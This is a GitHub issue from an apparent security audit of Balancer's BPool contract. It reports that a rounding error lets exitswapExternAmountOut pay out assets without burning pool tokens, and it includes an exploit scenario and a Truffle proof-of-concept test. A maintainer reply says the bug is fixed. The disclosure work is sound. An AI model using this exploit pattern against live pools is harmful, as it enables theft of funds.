Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Single asset exit function allow withdrawings assets for free #203

Closed
montyly opened this issue Jan 24, 2020 · 1 comment
Closed

Single asset exit function allow withdrawings assets for free #203

montyly opened this issue Jan 24, 2020 · 1 comment
Labels
bug Something isn't working

Comments

@montyly
Copy link
Contributor

montyly commented Jan 24, 2020

Severity: Undetermined
Difficulty: Low

Description

A rounding issue in exitswapExternAmountOut allows users to withdraw assets without burning pool tokens.

exitswapExternAmountOut computes the amount of pool token to be burnt with calcPoolInGivenSingleOut:
https://github.com/balancer-labs/balancer-core/blob/942a51e202cc5bf9158bad77162bc72aa0a8afaf/contracts/BPool.sol#L652-L671

Due to rounding approximation, calcPoolInGivenSingleOut can return 0 while tokenAmountOut is greater than 0.

As a result, an attacker can withdraw assets without having pool tokens.

An Echidna and Manticore scripts are provided showing how to trigger the issue.

Exploit Scenario

Bob has a pool with two assets. The first asset has a balance of 9223372036854775808. There is 9223372036854775808 pool token. Eve is able to withdraw 4 wei of the asset for free. Eve calls multiple time exitswapExternAmountOut to make a considerable profit.

A truffle test is provided below.

Recommendation

Short term, revert in exitswapExternAmountOut if poolAmountIn is 0.

Long term, consider to:

  • Check for the 0 value when transferring values if appropriate.
  • Favor exact amount-in functions over exact amount-out.
  • Use Echidna and Manticore to test the rounding effects

Testcase

const BPool = artifacts.require('BPool');
const BFactory = artifacts.require('BFactory');
const TToken = artifacts.require('TToken');
const TTokenFactory = artifacts.require('TTokenFactory');

contract('BPool', async (accounts) => {
    const admin = accounts[0];
    const user1 = accounts[1];
    const { toHex } = web3.utils;
    const { toWei } = web3.utils;
    const { fromWei } = web3.utils;
    const MAX = web3.utils.toTwosComplement(-1);

    let tokens; // token factory / registry
    let TUSD;
    let DAI;
    let tusd;
    let dai;
    let factory; // BPool factory
    let pool; // first pool w/ defaults
    let POOL; //   pool address

    const initial_balance = toWei('100', 'ether')
    

    const initial_tusd_balance = toWei('9223372036854775808', 'wei'); // 10**6
    const initial_dai_balance = toWei('1', 'ether');
    const tokenAmountOut = toWei('4', 'wei');
    const initial_pool_share_supply = toWei('9223372036854775808', 'wei'); 

    before(async () => {
        tokens = await TTokenFactory.deployed();
        factory = await BFactory.deployed();

        POOL = await factory.newBPool.call();
        await factory.newBPool();
        pool = await BPool.at(POOL);

        await tokens.build(toHex('TUSD'), toHex('TUSD'), 6);
        await tokens.build(toHex('DAI'), toHex('DAI'), 6);

        TUSD = await tokens.get.call(toHex('TUSD'));
        tusd = await TToken.at(TUSD);

        DAI = await tokens.get.call(toHex('DAI'));
        dai = await TToken.at(DAI);

        // Admin balances
        await tusd.mint(admin, initial_balance); 
        await dai.mint(admin, initial_balance); 
    });


    describe('Test exitswapExternAmountOut', () => {

        it('Admin approves tokens', async () => {
            await tusd.approve(POOL, MAX);
            await dai.approve(POOL, MAX);
        });

        it('Admin binds tokens', async () => {
            await pool.bind(TUSD, initial_tusd_balance, toWei('1'));
            await pool.bind(DAI, initial_dai_balance, toWei('1'));
        });

        it('Admin set the pool public', async () => {
            await pool.finalize(initial_pool_share_supply);
        });

        it('User1 exit without asset', async () => {

            await pool.exitswapExternAmountOut(TUSD, tokenAmountOut, 0, { from: user1 });
            
            // User should have no TUSD token
            const userTUSDalanceAfter = await tusd.balanceOf(user1);
            assert.equal(0, fromWei(userTUSDalanceAfter));
        });

    });
});
@montyly montyly added the bug Something isn't working label Jan 24, 2020
@mikemcdonald
Copy link
Member

Fixed. Checks for 0 value on transfer for exitswap

https://github.com/balancer-labs/balancer-core/blob/master/contracts/BPool.sol#L672

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working
Projects
None yet
Development

No branches or pull requests

2 participants